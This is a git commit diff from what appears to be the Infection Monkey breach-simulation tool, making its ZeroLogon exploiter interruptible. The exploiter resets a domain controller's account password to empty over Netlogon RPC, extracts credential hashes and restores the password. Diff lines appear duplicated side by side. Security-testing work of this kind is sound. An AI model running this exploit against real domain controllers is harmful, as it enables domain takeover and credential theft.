Agent: Make ZeroLogon interruptibale

This commit is contained in:
Ilija Lazoroski 2022-03-22 18:31:47 +01:00 committed by Mike Salvatore
parent 56bdcbeddd
commit 1e28599398
3 changed files with 16 additions and 8 deletions

View File

@ -15,6 +15,7 @@ import impacket
from impacket.dcerpc.v5 import epm, nrpc, rpcrt, transport from impacket.dcerpc.v5 import epm, nrpc, rpcrt, transport
from impacket.dcerpc.v5.dtypes import NULL from impacket.dcerpc.v5.dtypes import NULL
from common.common_consts.timeouts import LONG_REQUEST_TIMEOUT
from infection_monkey.credential_collectors import LMHash, NTHash, Username from infection_monkey.credential_collectors import LMHash, NTHash, Username
from infection_monkey.exploit.HostExploiter import HostExploiter from infection_monkey.exploit.HostExploiter import HostExploiter
from infection_monkey.exploit.tools.wmi_tools import WmiTools from infection_monkey.exploit.tools.wmi_tools import WmiTools
@ -26,6 +27,7 @@ from infection_monkey.i_puppet import ExploiterResultData
from infection_monkey.i_puppet.credential_collection import Credentials from infection_monkey.i_puppet.credential_collection import Credentials
from infection_monkey.telemetry.credentials_telem import CredentialsTelem from infection_monkey.telemetry.credentials_telem import CredentialsTelem
from infection_monkey.utils.capture_output import StdoutCapture from infection_monkey.utils.capture_output import StdoutCapture
from infection_monkey.utils.threading import interruptible_iter
logger = logging.getLogger(__name__) logger = logging.getLogger(__name__)
@ -51,9 +53,12 @@ class ZerologonExploiter(HostExploiter):
can_exploit, rpc_con = is_exploitable(self) can_exploit, rpc_con = is_exploitable(self)
if can_exploit: if can_exploit:
self.exploit_result.exploitation_success = True
logger.info("Target vulnerable, changing account password to empty string.") logger.info("Target vulnerable, changing account password to empty string.")
if self._is_interrupted():
self._set_interrupted()
return self.exploit_result
# Start exploiting attempts. # Start exploiting attempts.
logger.debug("Attempting exploit.") logger.debug("Attempting exploit.")
_exploited = self._send_exploit_rpc_login_requests(rpc_con) _exploited = self._send_exploit_rpc_login_requests(rpc_con)
@ -73,11 +78,12 @@ class ZerologonExploiter(HostExploiter):
self.exploit_result.exploitation_success = _exploited self.exploit_result.exploitation_success = _exploited
if self.restore_password(): if self.restore_password():
self.exploit_info["password_restored"] = True self.exploit_info["password_restored"] = True
self.store_extracted_creds_for_exploitation()
logger.info("System exploited and password restored successfully.") logger.info("System exploited and password restored successfully.")
else: else:
self.exploit_info["password_restored"] = False self.exploit_info["password_restored"] = False
logger.info("System exploited but couldn't restore password!") logger.info("System exploited but couldn't restore password!")
self.store_extracted_creds_for_exploitation()
else: else:
logger.info("System was not exploited.") logger.info("System was not exploited.")
@ -87,12 +93,13 @@ class ZerologonExploiter(HostExploiter):
def connect_to_dc(dc_ip) -> object: def connect_to_dc(dc_ip) -> object:
binding = epm.hept_map(dc_ip, nrpc.MSRPC_UUID_NRPC, protocol="ncacn_ip_tcp") binding = epm.hept_map(dc_ip, nrpc.MSRPC_UUID_NRPC, protocol="ncacn_ip_tcp")
rpc_con = transport.DCERPCTransportFactory(binding).get_dce_rpc() rpc_con = transport.DCERPCTransportFactory(binding).get_dce_rpc()
rpc_con.set_connect_timeout(LONG_REQUEST_TIMEOUT)
rpc_con.connect() rpc_con.connect()
rpc_con.bind(nrpc.MSRPC_UUID_NRPC) rpc_con.bind(nrpc.MSRPC_UUID_NRPC)
return rpc_con return rpc_con
def _send_exploit_rpc_login_requests(self, rpc_con) -> bool: def _send_exploit_rpc_login_requests(self, rpc_con) -> bool:
for _ in range(0, self.MAX_ATTEMPTS): for _ in interruptible_iter(range(0, self.MAX_ATTEMPTS), self.interrupt):
exploit_attempt_result = self.try_exploit_attempt(rpc_con) exploit_attempt_result = self.try_exploit_attempt(rpc_con)
is_exploited = self.assess_exploit_attempt_result(exploit_attempt_result) is_exploited = self.assess_exploit_attempt_result(exploit_attempt_result)
@ -164,6 +171,7 @@ class ZerologonExploiter(HostExploiter):
# Use above extracted credentials to get original DC password's hashes. # Use above extracted credentials to get original DC password's hashes.
logger.debug("Getting original DC password's NT hash.") logger.debug("Getting original DC password's NT hash.")
original_pwd_nthash = None original_pwd_nthash = None
# TODO: start timer
for user_details in user_creds: for user_details in user_creds:
username = user_details[0] username = user_details[0]
user_pwd_hashes = [ user_pwd_hashes = [
@ -366,7 +374,7 @@ class ZerologonExploiter(HostExploiter):
logger.info(f"Exception occurred while removing file {path} from system: {str(e)}") logger.info(f"Exception occurred while removing file {path} from system: {str(e)}")
def _send_restoration_rpc_login_requests(self, rpc_con, original_pwd_nthash) -> bool: def _send_restoration_rpc_login_requests(self, rpc_con, original_pwd_nthash) -> bool:
for _ in range(0, self.MAX_ATTEMPTS): for _ in interruptible_iter(range(0, self.MAX_ATTEMPTS), self.interrupt):
restoration_attempt_result = self.try_restoration_attempt(rpc_con, original_pwd_nthash) restoration_attempt_result = self.try_restoration_attempt(rpc_con, original_pwd_nthash)
is_restored = self.assess_restoration_attempt_result(restoration_attempt_result) is_restored = self.assess_restoration_attempt_result(restoration_attempt_result)

View File

@ -70,10 +70,7 @@ class RemoteShell(cmd.Cmd):
self.__noOutput = False self.__noOutput = False
self.__secrets_dir = secrets_dir self.__secrets_dir = secrets_dir
# We don't wanna deal with timeouts from now on.
# TODO are we sure we don't need timeout anymore?
if self.__transferClient is not None: if self.__transferClient is not None:
self.__transferClient.setTimeout(100000)
self.do_cd("\\") self.do_cd("\\")
else: else:
self.__noOutput = True self.__noOutput = True

View File

@ -6,6 +6,7 @@ from impacket.dcerpc.v5 import nrpc, rpcrt
from common.common_consts.timeouts import MEDIUM_REQUEST_TIMEOUT from common.common_consts.timeouts import MEDIUM_REQUEST_TIMEOUT
from common.utils.exceptions import DomainControllerNameFetchError from common.utils.exceptions import DomainControllerNameFetchError
from infection_monkey.utils.threading import interruptible_iter
logger = logging.getLogger(__name__) logger = logging.getLogger(__name__)
@ -43,7 +44,9 @@ def is_exploitable(zerologon_exploiter_object) -> (bool, Optional[rpcrt.DCERPC_v
return False, None return False, None
# Try authenticating. # Try authenticating.
for _ in range(0, zerologon_exploiter_object.MAX_ATTEMPTS): for _ in interruptible_iter(
range(0, zerologon_exploiter_object.MAX_ATTEMPTS), zerologon_exploiter_object.interrupt
):
try: try:
rpc_con_auth_result = _try_zero_authenticate(zerologon_exploiter_object, rpc_con) rpc_con_auth_result = _try_zero_authenticate(zerologon_exploiter_object, rpc_con)
if rpc_con_auth_result is not None: if rpc_con_auth_result is not None: